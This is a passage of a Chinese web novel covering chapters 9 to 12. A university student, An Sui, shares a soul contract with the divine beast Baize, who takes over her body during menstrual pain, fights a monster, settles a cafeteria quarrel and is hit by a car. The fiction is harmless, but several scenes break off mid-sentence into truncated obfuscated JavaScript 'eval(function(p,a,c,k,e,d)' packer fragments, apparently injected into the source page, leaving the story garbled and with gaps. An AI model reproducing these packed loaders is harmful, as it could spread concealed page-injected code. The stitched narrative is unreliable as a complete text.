评论区礼物还在不停地刷着,安随抽空说了个话:“谢谢大家的礼物,如果大家有作业需要我辅导的,可以连麦。” 还是得干老本行,不然总觉得自己有点心虚。 但网友们显然并不买账,他们已经被“看白泽直播”学习能变好这个认知惊得恨不得一天24小时都挂在直播间,更有甚者已经提出让安随24小时直播了。 安随看得两眼一黑:“这位宝子,我要上课,还要睡觉,怎么可能24小时直播啊?” “那主播就把号挂着,做你自己的事去,其他就交给我们就行。” 安随毫不留情地拒绝了:“我手机电池差,播不了那么久。” “我给你买个新的。” “不,两个,你可以一个直播一个自用。” 安随:“你的好意我心领了,但我不会平白无故拿别人的东西。” “主播求你了!我需要你!我高考就靠你了!” 安随被这句话惊了一下,她意识到,再这么下去,她的直播间很有可能被人举报,然后被封。 安随和直播间的网友说了一声“有事”便下播了。 安随在心里呼唤白泽:“白泽,你出来一下。” 这是她头一次那么郑重地叫白泽名字,白泽还有些不习惯,问她:“怎么了,那么严肃?” 安随:“我不直播了。” 白泽惊了:“为什么?你不想要一个亿了?” 安随声音十分冷静:“再这么下去,我怕把直播间的人都带歪了,到时候他们觉得只要看我直播就能考得好,把所有的希望都寄托在我身上,如果他们没考好,我岂不是成了罪魁祸首?而且,这不就成了宣扬封建迷信吗?我怕被那些家长举报。” 白泽没说话。 安随有些烦躁:“你为什么不说话了?平时话不是挺多的吗?” 白泽:“你想听我说什么?你不是已经做出决定了吗?” 安随:“我是在征求你的意见,如果你不愿意,我们可以商量。” 白泽:“你给我商量的空间了吗?继续直播会被封号,那你想过不直播能干什么?你一个普通大学生,一年内怎么能赚到一个亿?” 安随:“那就不要一个亿了呗,我当初只是口嗨而已,又没有一定要赚那么多。” “原来,这才是你的真实想法啊。”白泽笑了一下,声音带着凉意,“所以,你只是把这个契约当成儿戏,并没有当真。” 安随顿时就熄了火:“我,我没有这个意思。” 良久,白泽才说道:“你既然不愿意,那本君也不勉强你,从今天起,你想做什么便做什么,本君不会干涉你,契约也会想办法解掉。” 他开始自称本君,又恢复成了那个高高在上的神。 安随心里变得空落落的,就像被人徒手从胸腔里撕开了个口子,风呼呼地往里灌着,凉意直达心底。 她想说点什么,却发现此刻说什么也变得徒劳,最后徒留下一句,“好。” 安随下播没多久,蒋栗和宋知冉二人就回来了,见安随脸色有些不好,有些担心:“安安,你怎么突然下播了?是哪里不舒服吗?” 安随勉强回了她们一个笑容:“确实有点不舒服,睡一觉就好了。” “那你早点睡吧。” “好。” 见安随睡下,宋知冉将蒋栗拉到阳台,轻声说道:“安安是不是痛经啊?她平常就身体不好,有几次还痛吐了。” “痛吐了吗?那么严重?”蒋栗都惊了,随后有些懊恼,她以前怎么就没发现呢? “我的红糖喝完了,我出去买点,你在这看着她,有什么给我打电话。”宋知冉说完便出去了。 蒋栗留在宿舍洗漱,不时瞟向安随床所在的方向。 躺在床上的安随隐隐感觉到小腹传来一阵痛意,随后一股热流缓缓从下身流出。 向来月经不调一向只推迟的安随意识到,她的月经提前了,而且比以往痛了几倍。 安随挣扎着下床,想要去厕所处理,却发现自己头重脚轻,眼前出现了好几个重影。眼见着要摔下去,她眼疾手快地扶住了床栏,随后靠在床边喘着粗气。 怎么回事?为什么她感觉这次比以往严重了好多? 缓了一会儿后,她才又重新准备下床,但腿软得跟面条一样,站在梯子上竟然止不住地抖,走一步都变得异常艰难。 好在这时蒋栗发现了她的异常,连忙过来扶住她。 “安安,你下床做什么?好好在床上休息啊。” 安随说话的力气都快没了,但还是慢慢开口:“我大姨妈来了,要去厕所。” “那我背你去。”蒋栗说着便背过身去,示意安随趴在她身上。 安随看了一会儿蒋栗纤细柔软的后背,眼睛胀得生疼,鼻腔里不停地往外冒着酸意。缓了会儿,她才趴了上去,感受着来自室友后背的温暖。 安随很瘦,长期的营养不良让她看着个子纤细,只比麻杆好一点儿,但一米六五的个子压在蒋栗背上,还是让她感受到了一丝吃力。好在安随的床到卫生间只有几步路的距离,蒋栗挪过去也没费多大力。 将安随送进卫生间后,蒋栗便出来了,给宋知冉打电话:“冉冉,你买到红糖了吗?安安痛经好像有点严重,去厕所都是我背着她去的。” “那么严重吗?”宋知冉沉吟了会儿,随后道,“那我再给她买点布洛芬,你在宿舍照顾好她。” “好。” 晚上九点,宋知冉从药店出来,路上冷冷清清的,冷风从衣领灌了进来,冷得她打了个寒颤。她将衣领拢了拢,随后快速往宿舍的方向走去。 突然,一个身影从面前闪过,钻入旁边的草丛里,吓得宋知冉顿住脚步,还以为自己眼花了。在原地等待了会儿没再看到异样,她才继续往前走,然而,突如其来的眩晕却让她整个人像丢了魂一般,随后整个人瘫软在地。 宋知冉再次醒来,发现自己靠坐在墙角,身上披着一件黑色的外套,上面已经沾满了凉意。 这件陌生的外套看得出是件男士外套,想来是被一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋知冉是用手洗的,无意中却发现衣服上绣着一个熟悉的花纹,她想了会儿才想起来这花纹有点像之前捡到的那块令牌。 宋知冉连忙找出令牌进行比对。这一对比竟然发现两个花纹竟然一模一样。 想到蒋栗刚才说的那番话,宋知冉内心的喜悦便怎么也藏不住。 所以,又是他救了她吗?缘分真是一件奇妙的事情。 宋知冉不自觉地哼起了歌,嘴角止不住地上扬。突然想到安随已经睡了,连忙噤了声。她又偷偷看了眼戴着耳机听歌的蒋栗,见她没有发现她的异样,这才放下心来。 下次,她一定要看清他的脸,看看他到底是谁。 安随吃了颗布洛芬,总算缓解了痛意。她的体质一向很差,每次来大姨妈都会上吐下泻,反应比一般人严重。但这次却像从鬼门关走了一遭,命都去了半条。好在有她的两位室友,不至于倒下去。 安随在脑海里想了想今天发生的事情,除了和白泽吵了一架,其他好像没什么特殊的事了。 对了,白泽。 不会这就是签订灵魂契约的副作用吧? 安随越想越有可能,本来想叫白泽出来问问,一想到两人算是闹崩了,便歇了这个心思。 睡一觉就好了。 安随如是想着。 然而安随想得太美好了。 半夜,安随被腹部传来的剧痛痛醒了。 9. 第 9 章 安随是初中的时候第一次来月经,那会儿懵懵懂懂不知道这是什么,家里也没人跟她说,鲜红色浸染了整条裤子,好在宿舍的同学比她都大,看见她的窘迫,便借了一包卫生巾给她,还教她怎么用。 而这也给她打开来新世界的大门,她才知道,原来女生都会经历这些。随之而来的便是痛经,她以为每个女生都会经历,直到无意中和别人聊天的时候,才知道,原来是自己体质弱,所以才容易痛。 每次痛经仿佛上刑,恨不得在地上打几个滚,但连那都成为奢望,因为她会痛得动都不想动。 安随是被痛醒的,她的额头已经布满了密密麻麻的汗,小腹传来一阵阵的剧痛,仿佛有个锤子不停地击打着腹部。她将整个身体蜷缩在一起,牙齿轻咬下唇,不让自己发出声音。 然而疼痛却怎么也压不住了。 她的腿下意识地往前蹬了蹬,想要缓解疼痛,却不小心踢到床沿,发出一阵沉闷的响声。 还未睡熟的宋知冉听到响声,连忙起身问道:“安安,你怎么了?” 然而安随已经无法回答她了。 此刻她痛得几乎要哭了出来,但硬生生忍住了。 可无意中泄露的呻吟还是让宋知冉意识到了不对劲,下床过来查看她的状况。 宋知冉手机电筒打开,爬上安随的床,便发现她汗水已经将头发打湿,此刻正全部贴在脑袋上,整个人像是从水里捞出来的一般。脸色潮红,像熟透了点苹果,身体也止不住地抖。 “安安?安安!”宋知冉不停呼喊着她的名字,却怎么也听不到回答。 “栗栗!”宋知冉很快下床去喊蒋栗起来。 蒋栗睡眼朦胧地揉着眼睛,过了会儿才清醒过来,看到安随的状况,瞌睡虫顿时被赶跑了,也急忙下床过来帮忙。 两人合力将安随抱下床,宋知冉个子比安随高一点,加上有蒋栗扶着,将安随背在背上不算吃力,两人出了宿舍便往宿舍楼外走。 边走蒋栗便给宿管打电话,好在对方得知安随的状况,很快放了行,两人一路畅通无阻地往校医院赶去。 但校医院离宿舍楼有一段距离,平时轻装步行都要十来分钟,更别说此刻还背着一个大活人,两人走了一段距离便停了下来,换成蒋栗背。蒋栗个子小,背起比她高大的安随可想而知有多吃力,走了几步便走不动了,又换回了宋知冉。 半夜,校园路静悄悄的,耳边只能听到彼此的呼吸声。 “呼呼——” 一阵粗喘声在宋知冉耳边响起。那声音离她很近,几乎近在咫尺。起初她还以为是安随发出的声音,却见安随整个人趴在她身上,两只手被她拽着,整个人没有一点动静,明显不是她发出的声音。 她又问蒋栗,“栗栗,你怎么了,怎么喘那么粗的气? “啊?我没有啊。”蒋栗都懵了,听到宋知冉的话,也认真听了会儿,果然听到有呼呼的喘息声。 两人越走越心惊,也越来越快,但背上背着一个人,再快也快不了哪去。 突然,一个巨大的黑影笼罩在两人眼前,将三人的影子都罩住了。 宋知冉顿住脚步,看着面前突然出现的巨大黑影,肾上腺素开始飙升,整个人处于极度紧张状态。她双手紧紧握住安随的手,身体微微往前站,将蒋栗挡在身后。 随着那黑影转过身来,两人这才看清了那影子的模样。 那张脸长满了脓包,有的已经绽开了皮,往外翻着,有的已经开始流出白色的脓液,从下巴往下滴着。 蒋栗在看清怪物大长相以后,尖叫一声,随后整个人晕倒在地。宋知冉下意识地去扶蒋栗软倒下去的身体,背上的安随由于失去了支撑,也从她身上滑落下来,摔倒在地。 宋知冉眼疾手快地去扶,而蒋栗的身体便顺势倒了下去。 于是,现在就变成了这样一副状况。 两个晕倒在地的室友,加上一个十分害怕却又死扛着不让自己倒下的宋知冉。 “你,你是谁?”宋知冉壮着胆子问。 那怪物桀桀笑了两声,随后巨大的身影便朝宋知冉移动过来。 那怪物速度极快,宋知冉根本没有反应的时间,等她回过神来时,整个人已经双脚离地,脖子被对方掐住,呼吸也变得急促。 空气越来越稀薄,宋知冉使出浑身的力气去扳对方的手掌,然而那只手却如钳子一般死死地钳住她。 第一次,宋知冉感觉自己离死神是如此地近。 她开始目光涣散,眼前的景象也变得模糊。朦胧中似乎听到一声巨响,随后整个人被甩了出去,但想象中的剧痛并没有传来,而是被人轻轻放下。 是谁救了她? 会是他吗? 她努力想要睁开眼,想要看清那人的模样,却怎么也睁不开。 她好困好困,好想睡觉。 很快,她便听到一个声音说。 “找死。” 这一次,她听清了,那是安随的声音。 完了。 这是宋知冉唯一的想法。 她本以为牺牲她一个人能让那怪物放过她的两个室友,如今安随醒来,怕是和她一样要栽在这里了。 她很快便清醒了。 “安安快跑!”宋知冉几乎使出了全身的力气爬起来将安随往后推,整个人挡在安随前面,眼神凶狠,“不许伤害她!” 但她很快意识到了不对劲,之前扼住她喉咙的庞然大物不知何时竟倒在了她面前一动不动,生死不知。 “这是怎么回事?”宋知冉懵了。 安随就这么轻松地把对方打倒了吗? 宋知冉向安随投去怀疑的目光。 却见此时的安随捂着肚子,嘴里不停地抱怨:“搞什么,肚子怎么那么痛,吃错东西了吗?” 宋知冉呆呆地看着她,过了会儿才慢吞吞道:“你应该是痛经,你不知道吗?” “痛经?”安随想了会儿才明白是怎么回事,随后示意宋知冉赶紧去医院,“赶紧去买药,我受不了了。” “你刚吃完布洛芬没多久,现在不能吃止痛药,只能去医院让医生看看。” “好好好,那就去医院。”说着,安随便健步如飞地往前走,一点都看不出来之前的虚弱。 “这怪物怎么办?”宋知冉问道。 安随闻言便又倒了回来,蹲下身在那怪物的头上按了按, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但这已经是他遇到的第二只妖怪了。 到底发生了什么,为什么会有那么多妖出现在这里? 他有一种直觉,这并不是唯二出现在人界的妖怪。 或许,已经有很多了。 这个认知让白泽隐隐有些担忧。 但他并不会向眼前的女生透露半点。 对方是安随的室友,又好心把她送到医院,他并不想让对方担心。 到了医院以后,两人去了急诊,给三人都检查了下身体。蒋栗没什么大碍,睡一觉就能醒,宋知冉脖子上有淤青,医生开了活血化瘀的药,安随痛经,在得知她有止痛药后,便让她回去煮点红糖姜水,贴暖宝宝,注意保暖之类的便让她们回去了。 宋知冉有些不放心,问道:“医生,需不需要输液啊?她刚才痛得都走不了路,晕倒了。” 医生指了指安随:“你看她这样像痛得走不动路的样子吗?” 宋知冉循着方向望去,便见安随在原地踱步,不时跺脚。 好吧,好像确实缓过来了。 宋知冉这才放下心来,坐在走廊的长椅上,等待蒋栗醒来。 而想用踱步来缓解疼痛的白泽发现了一个尴尬的问题。 在他的不懈努力之下,他感觉他整个人都快湿透了。 10. 第 10 章 也没人告诉他来月经会是这种感受啊! 白泽作为一只神兽,压根就没有体验过这种感觉,但他好歹在人界耳濡目染了一段时间,也大概听说一些,但并不代表他就能知道具体是什么感受。 因此,当白泽感觉到自己身下已经完全打湿了以后,便想赶紧离开这里,回宿舍去。 但蒋栗还没有醒,白泽也管不了那么多了,背起蒋栗就快速往回跑,根本顾不了在身后不停喊她的宋知冉。 宋知冉在后面不停追赶,边跑边喊:“安安你等等我,别跑快了!” 白泽压根听不见,或者说他并不想听,此刻他心里只有一个念头,那就是回宿舍换个卫生巾。 难为白泽作为一只兽,却要体验一个作为女人的感觉。在妖界女妖不会来月经,更别说男妖了,平时受点伤流点血并不算什么,早已习以为常,但和人类来月经的感觉还是不一样的。 痛经起来是真要兽命啊。 此刻,白泽便再次体会到了那种腹部往下坠,似乎有什么东西想要坠出来的感觉。 他慢慢放缓脚步,加上背上还背着个人,气息也变得不稳,每走一步肚子便像被人捶打一般,钝痛不已。 宋知冉总算追上他了,喘了会儿才开口道:“安安你痛经别跑那么快,不然会更痛。” 谢谢,已经体验过了。 白泽嘀咕了声:“早说啊。” 三人就这么走几步歇几步地往前走,等回到宿舍已经是两点多了。 回到宿舍的白泽仿佛又满血复活了,快速跑到厕所,想起什么又折返回来,问宋知冉:“那个,你帮我拿个那个可以吗?” 宋知冉秒懂,从安随放卫生巾的地方拿了一个超长夜用递给她:“给你。” 白泽一脸尴尬地接过,感觉自己耳朵也变得有些热。他迅速进了厕所,然后看着手中的卫生巾犯难了。 研究了会儿他才打开,蹲着感受下面哗啦啦地往外流血,他别过头去,一眼都没敢看,快速换好卫生巾便出了厕所。 躺在床上的白泽此刻只有一个念头,希望明早醒来的是安随,他还可以继续睡下去。 然而愿望很美好,现实很骨感。 清晨第一缕阳光照进来,瞌睡虫也被阳光赶跑。白泽从光亮中醒来,看到熟悉的天花板,感觉天都塌了。 他试图在心底呼唤安随,但没有得到任何回复。 到底发生了什么事?为什么安随不醒?反而主宰她身体的是他? 也就是说,他还要继续忍受这种尴尬。女人月经周期正常是3-7天,他难道至少还要保持这种状态两天吗?一想到这个结果,白泽便感觉自己的兽生也变得灰暗。 好想回妖界啊…… 白泽感叹了会儿,便认命地起了床。 想到今天他还要替她上课,他便觉得灰暗的兽生也变黑了。 上午第一节课是英语。英语老师是名外教,全程用英语交流,白泽坐在最后一排,目光呆滞地望着老师。 旁边的蒋栗见白泽一脸认真地看着老师,不得不佩服安随的毅力。昨天痛得挂急诊,今天还能那么高效地听课。想到自己昨天在送安随的路上居然睡着了,顿时觉得自己菜得抠脚。 蒋栗偏头小声问道:“安安,你今天肚子还痛吗?要不要休息一天啊?” 已经入定的白泽压根没听见她说什么,此刻他眼里只有讲台上的外教。 管他能不能听懂,至少此刻他是专注认真的,不会丢安随的脸。 “Ann,canyouanswerthisquestion?” 台上的外教面带微笑地看着听得十分专注的安随,亲切地提了问题。 白泽压根没听见,还是旁边的宋知冉碰了一下他,把他碰回神了。 “怎么了?”白泽问。 宋知冉小声道:“老师叫你回到问题。” “什么问题?” “Ann,canyouanswerthisquestion?”外教又重复了一遍。 白泽压根没听到她的问题,一旁的宋知冉在笔记本上写下答案,白泽看着那弯来弯去的符号,头都大了。 他哪里会读? 见白泽没有回应,外教脸上的笑容消失了,一旁的宋知冉连忙举手:“老师,安随她不舒服,我来回答吧。” 宋知冉说完便用流利的英语回答了问题,外教脸色这才好看了点。 课间休息时间,宋知冉见白泽有点反常,还以为他是被痛经困扰,便提议道:“安安,你要不回去休息一下吧,跟老师请个假,我看你脸色不好。” 白泽确实有点不舒服,但他并不想因为这个请假,他可不想因为他打破了她的全勤。 要是安随醒来知道自己缺了课,恐怕捏死他的心都有。 “没事,我还能坚持。”白泽回道。 宋知冉见他坚持,也不再劝说,再次感叹安随学习的精气神,更加佩服她。 于是接下来一天的课程,白泽都是在字都认识,但连起来都不懂的状态中度过。好在他会装作一副认真听讲的样子,倒也蒙混过关了。 听课几乎耗费了他所有的精力,连午饭也吃得不香。好不容易熬到下课,白泽这才去食堂给自己打了一份20元的套餐犒劳自己。 血槽已空,急需吃肉补充。 白泽风卷残云般吃完了一个套餐,感觉还未尽兴,便又点了一个不同的20元套餐,看得一旁的蒋栗二人都惊呆了。 她们怎么不知道,来次大姨妈还耗掉那么多能量啊,看把安安饿得。 两人眼里满是心疼,默契地把鸡腿放在了白泽的餐盘里。白泽毫不客气地吃掉了。 “嗝——” 白泽终于心满意足地吃饱了,血条迅速回满。 他抬起头,便见安随的两位室友目瞪口呆地看着他。 白泽有些心虚,看到自己面前两个空的餐盘,惊觉自己好像确实吃得有点多。 糟了,这不符合安随的人设啊,不会被人怀疑换了芯吧? 白泽心里惴惴不安,但坐着没动。 敌不动我不动,看谁熬到最后。 蒋栗第一个沉不住气,眼带泪花,哭唧唧道:“呜呜呜呜,安安你这是饿了多久啊。一次吃那么多别撑坏了啊,妈呀心疼死我了,你以前过的都是什么日子啊?” 白泽心底的警报解除,看来她们并没有发现异常,很好,人设保住了。 白泽露出一个虚弱的笑:“可能能量损耗太多了,所以便忍不住多吃了点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋知冉见状,连忙帮她清理头上的饭菜。在她忙着清理时,便觉得眼前一花,一个人影已经冲到了两人面前,将男生面前的餐盘扣在了那女生头上。 “啊!”女生尖叫一声,不停地跺脚,一旁的男生也帮着她清理。 场面顿时变得混乱不堪,周围聚集了越来越多的学生,不一会儿便有老师赶过来,脸色铁青:“怎么回事?” 苏芸先发制人:“老师,是蒋栗不满岳初和我谈恋爱,怀恨在心,先动手伤人,我是自卫,结果这个女生也掺和进来,对我们进行打击报复。老师,你一定要严惩啊,恋爱分手不是很正常的事情吗?我和岳初是在两人分手以后在一起的,她凭什么跑过来报复我的男朋友?” 蒋栗见对方黑白颠倒,什么话都被她说了,顿时急得直哭。 老师已经大概了解了目前的状况,批评教育了几句,并让蒋栗给岳初道歉。 蒋栗哪里受得了这个气?凭什么要她向他道歉?明明就是他在他们恋爱期间劈腿苏芸,她只是想报复一下他,到最后还成了她的错了? 见蒋栗梗着脖子一句话也不说,老师也没有了耐心:“你既然不愿意道歉,那就去把你父母叫过来,让他们替你道歉。” 蒋栗一听要叫家长,顿时急了;“老师,不要,是我……” “是我动的手。”一个声音打断了蒋栗。 11. 第 11 章 蒋栗望过去,便见安随一脸淡然地看着老师。 “是我动手伤了这位同学,和蒋栗无关。”白泽说着,目光望向一旁的苏芸,“这位同学,对不起,我不该动手伤人。” 苏芸头上还顶着一根菜叶子,汤汁顺着她的额头流下来,弄花了她精心画的妆容,沿着下巴一路往下流,弄脏了她新买的裙子。 从小要风得风要雨得雨的苏芸何时受过这种气,她指着白泽的鼻子骂:“道歉有用的话要警察做什么?我这条裙子六位数,你赔得起吗?” “什么破裙子要六位数?”蒋栗在一旁小声嘀咕,但六位数对她来说也是个天文数字,让她赔也赔不起。 但此事因她而起,她不想安随为她被人讹上,便站出来道歉:“对不起,是我的错,我不该先动手,这条裙子我洗干净了还给你吧。” “洗?你洗得干净吗?这上面全是油污,洗干净我也不会穿了,我嫌脏。”苏芸一脸嫌恶地看着身上的裙子,不耐烦已经写在了脸上,“看你们也不像能赔得起的样子,我也懒得在这浪费时间了,我只要……”她指了指安随,“你跪下来给我磕三个头,这事便过去了,我也不会让你们赔裙子了。” “欺人太甚!”蒋栗气得不行,恨恨地瞪着眼前趾高气扬的苏芸,却又无可奈何。 蒋栗咬了咬牙,心一横,腿便要屈下去,眼见着便要跪下去,却被一只手稳稳地抬住了。 她抬眼,便见安随眼里无波无澜,似没有波动,又似什么都不在意。 只听安随开口:“你的裙子,干净得很,没有一点污渍,说谎可是会倒霉的。” “什么?”苏芸还以为自己听错了。 这哪里是道歉的样子?简直睁眼说瞎话,还嚣张至极。什么说谎会倒霉,这不是咒她吗? 苏芸气得也顾不得在公共场合,翻开自己的衣领展示在众人面前:“睁大你的狗眼看看,这明明沾满了油,怎么干净了?不想磕头那就赔我裙子,我这条裙子十五万买的,你要是能赔我十五万我也能接受。” 苏芸说完,却见周围的人都神色奇怪地看着她,她有些愣了,这是怎么了? 一旁的岳初拉了拉她的袖子,小声道:“要不算了吧?你的裙子也没弄脏,她们也已经道歉了。” 苏芸一把甩开他的手,指着他的鼻子破口大骂:“我怎么找了你这么个窝囊废?关键时刻总掉链子!你是不是还没忘记蒋栗那个女人?要不要我成全你们?” 岳初被骂得面红耳赤,恨不得找个地缝钻进去。 听到苏芸将她和那个渣男联系在一起,蒋栗像吞了苍蝇一样,胃里翻江倒海,差点就没忍住吐出来。 一旁的老师看不下去了:“苏芸同学,既然对方已经道歉了,就没必要纠缠着不放了,何况你的裙子并没有遭受什么损失。” “老师,怎么你也?”苏芸愣在原地,不知道为什么一瞬间风向逆转,所有人都向着对方说话,难道对方比她来头更大? 她上下打量了一下安随,但见她穿着一件白衬衣,下身是一条洗得发白的牛仔裤,白鞋的颜色也淡去,看着有些年头了,全身行头加起来还不到两百块,还不够她一顿饭钱。 个子虽然有一米六几,但瘦得跟麻杆似的,没有一点肉,恐怕家里都穷得揭不开锅了,上个大学多半也是家里砸锅卖铁供出来的。 就这,还能大有来头? 苏芸不信,但看场上的局势对她不利,再纠缠下去也讨不了好,反而会给老师同学留下不好的印象,索性顺着台阶下去。 留得青山在,不怕没柴烧。早晚她会找回场子,给她们一个教训,让她们知道,谁才是这里的女王。 想通了这点,苏芸轻咳一声:“既然你道歉了。那我就大人不记小人过,原谅你这一回,如果再有下次,我决不轻饶。” 放下狠话后,苏芸恨恨离去。 岳初见状,便也跟了上去。 其他围观的同学见没热闹可看,也纷纷散去,临走时,不时有好心同学提醒三人要小心苏芸,据说她家里有权有势,本人也骄纵不已,小心被她报复。 三人谢过他们的提醒后,便开始收拾餐桌。 “渣男恶女!”蒋栗边收拾便愤愤不平,心里是又气又憋闷。 “好了好了,别因为一些无关紧要的人生气。”宋知冉安慰她,见她情绪缓了过来,才去问安随,“安安,你没事吧?” 白泽摇了摇头,示意她别担心。 这种小场面,他还没放在眼里。他从饭桌上抽了张纸巾,擦掉桌上和手上不小心粘上的油渍,端起餐盘才对两人说道:“我们回去吧。” 三人正要走时,却被老师叫住了。 罗易神色担忧地看着三人:“苏芸这个人,报复心极强,你们小心点。” 白泽回过头看着打量他,只见他一米八几的个子,长得宽肩窄腰,寸头,皮肤黝黑,眼角上方一道刀疤十分明显,看着并不好相与,身上的凌厉气息很浓,看得出来是个练家子。 但在白泽眼里,接下来他会有一场意外发生。 “你也小心点。”白泽留下一句忠告后便和两位二人离开了。 只留下风中凌乱的罗易。 他需要小心什么? 于是,回保卫处的路上罗易一直在想这个问题,一直走到办公室门口他都没想明白。他叹了口气,觉得自己太容易纠结了,这个毛病得改。 罗易想通以后便释然了,心情也跟着放松许多。刚准备进办公室,却忘了门槛的高度,脚踢在门槛上,整个人顿时往前倒下,幸好他眼疾手快地拽住门,才不至于四仰八叉地摔倒在地。 保卫处的其他工作人员听到动静,纷纷看过来。罗易尴尬地笑了笑,随后拍了拍衣服上毫不存在的灰尘,这才快步走到座位上坐好。 原来是让他小心这个吗? 罗易想到白泽之前说的话,哭笑不得。 也不知道是巧合,还是该夸她我乌鸦嘴。自己真心实意地让她小心苏芸,对方却以为他在开玩笑,回了同样的话。 罗易突然不知道该说点什么好。 这丫头,有点意思。 不畏强权,不卑不亢,虽然表面上看着有些落魄,但身上的那股气势是怎么也掩饰不住的。他有预感,她早晚会成为人中龙凤。 甚至他意识到,今天没有他的出现,她照样能轻松解决此事。 苏芸在她眼里,根本就够不成威胁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巷子外百米处是一条双向八车道,车辆熙熙攘攘,上下班高峰期的时候,这里被堵得水泄不通。而此时,已经过了下班高峰期,却依然堵得一眼望不到头。 红灯处,不少车辆在那等候绿灯通行,绿灯时间还早,行人慢悠悠地过着马路,成群结队,不下于二十个。 这个人行道非常长,跨越了两条马路,因此时间也格外长。 突然,等在最前排的轿车开始失去控制往前滑动,一位坐着轮椅的老人正缓步通行,根本没有意识到危险降临。 眼见着就要撞到轮椅,老人却突然感觉到自己轮椅几乎飞了起来。 老人感受到力道冲击,回过头来一看,惊恐地发现一辆小轿车近在咫尺,而他前面突然出现了一个女生,正推着他的轮椅快速移动。 一秒过后,人行道上的信号灯变红。 而两人离马路对面还有一半的距离。 好在其他车辆都在等他们通过,女生加快步伐,将老人送往对岸,眼见着就要成功了,一股强大的力量却突然朝两人袭来。 “砰——” 白泽感觉自己整个人都被撞飞了,推着轮椅的手也被震开,老人从轮椅上摔倒下来,躺在地上爬不起来。 而在白泽从空中落下来的瞬间,他几乎用尽了所有的信仰之力,才不至于让两人受伤太过严重。 而他也在耗尽信仰之力后,体力不支,晕倒在地。 昏迷前,他脑海里只有一个想法,这么多天的努力全白费了,他又得从头再来。 12. 第 12 章 纯白的病房内,充斥着消毒水的刺鼻味道,四人间的房间不大,但却住满了病人。 这里是锦城人民医院的神经外科住院部,昨晚出车祸送到医院的两名病患都被送到了这里。 据在现场的热心市民说,当时那车拐弯的速度特别快,直冲冲地就朝两人冲来,根本没有反应的时间,离得近的市民看到两人被撞飞了又摔了下来,都以为两人凶多吉少了。 结果两人受伤并不是很严重,老人旧伤加重,脊髓水肿加脑震荡综合征复发,年轻女孩轻度脑损伤加浑身软组织挫伤,车祸昏迷了半个来小时,醒来后又配合做了一系列检查,等到回到病房已经半夜了,这会儿正熟睡着。 只可惜的是,肇事司机逃了,连个人影都没看到。 “护士,32号没有液体了,来帮忙换一下!” “幺儿,你乖乖躺倒,妈妈去给你倒水。” “爷爷,您感觉怎么样?头还疼吗?” …… 安随就是在这样嘈杂的环境中醒来的。 头一顿一顿地痛,似被人拿锤子敲打。她缓缓睁开眼,便看到的是纯白的天花板,鼻腔里充斥着刺鼻的消毒水味。 她的床边正坐着三个女生,其中两个是宋知冉和蒋栗二人,还有一个短发女生,穿着一身黑色休闲装,整个人看着酷酷的,表情也淡淡的,有些眼熟,安随想了一会儿才想起来是她的另外一个室友孟与。 “你们……”安随心里疑惑,为什么她们都在这里?而自己为什么又会躺在医院里?到底发生了什么? “我们半夜一接到学校老师的电话就赶过来了,一会儿他们应该也会来医院看你。到底怎么回事?为什么你会出车祸啊?”蒋栗噼里啪啦地问了一堆,被宋知冉止住了话头,“安安刚醒,你让她好好休息一下嘛,别问那么多了。” 蒋栗“哦”了一声,便也没再问了。 而得知自己出车祸的安随脑子更懵了。 为什么她对自己出车祸这件事一点印象都没有?难道出车祸把脑子撞坏了? 安随拍了拍脑袋,蒋栗却以为她是真想不起来了,连忙制止:“别拍,再拍更坏了,想不起来就别想了。” 安随只得作罢。 她在心里呼唤白泽:“白泽,你知道怎么回事吗?” 只可惜并没有得到任何回复。 想起之前两人的不欢而散,这会儿说不定白泽已经走了。安随心里有些失落,暂时接受了自己因车祸失忆这件事。 “嗡嗡嗡——” 放在桌上的手机开始震动,安随从宋知冉手中接过,看到是妈妈打过来的电话,有些心虚,轻咳了下嗓子,让自己声音听起来自然许多,这才接了起来:“喂,妈。” “小随你醒啦!”赵素兰声音听起来有些激动,甚至哽咽,过了会儿才整理好情绪道,“我已经坐上高铁过来了,大概中午就能到,你室友已经把病房号发给我了,我是跟你姨妈一起过来的,你不用担心我。” “好,那你照顾好自己,慢点走,不要急。” 两人又寒暄了几句,便挂了电话。 这时旁边的一中年男子走了过来,对安随说道:“安同学,谢谢你救了我父亲,今天幸好有你在,不然后果不堪设想。” “小同学,谢谢你救了我。”躺在床上的老人也出言感谢。 安随对发生的事情一无所知,被他夸得有些不好意思,连忙摆手:“我不记得发生了什么,也不记得自己做过什么,老爷子没事就好。” 几人听到安随不记得发生的事情,连忙又呼唤医生过来,医生听到她的症状后便解释道:“这是正常的,先观察几天再看。” 几人这才放心下来,正好点滴还要打很久,几人便坐着开始闲聊。 老人精神抖擞地跟几人讲当时的场景,讲得十分生动,把安随夸上了天。 安随都被他夸得有些不好意思,甚至在心里问自己,我难道真的有那么热心肠吗? 安随开始在脑子里快速地分析。 首先从书店回来,到学校不会经过那条马路,她下班回来都已经很晚了,肯定是想着怎么早点回去,毕竟大晚上独自一人回去还是有点不放心,越早到学校越好。 其次,如果真有什么事必须经过那条街,也只会是因为那里有必须去做的事情,她和老人素不相识,她不认为自己去的目的就是为了救老人。 最后,挣扎在温饱线上的安随每天满脑子想的都是怎么填饱肚子,怎么赚更多的钱治好妈妈的腿,怎么让自己一家人摆脱困境,根本没有多余的时间想着怎么见义勇为。 综上所述,那个人不会是她,而是住在她身体里的白泽。 他还没离开。 这个认知让她松了一口气,又很快沉下心来。 他为什么不回应她? 到底发生了什么事? 接下来的安随便显得有些心不在焉,几人以为她乏了,便也不再打扰,而是让她好好休息。 临近中午的时候,赵素兰和赵素心两姐妹终于到了医院。 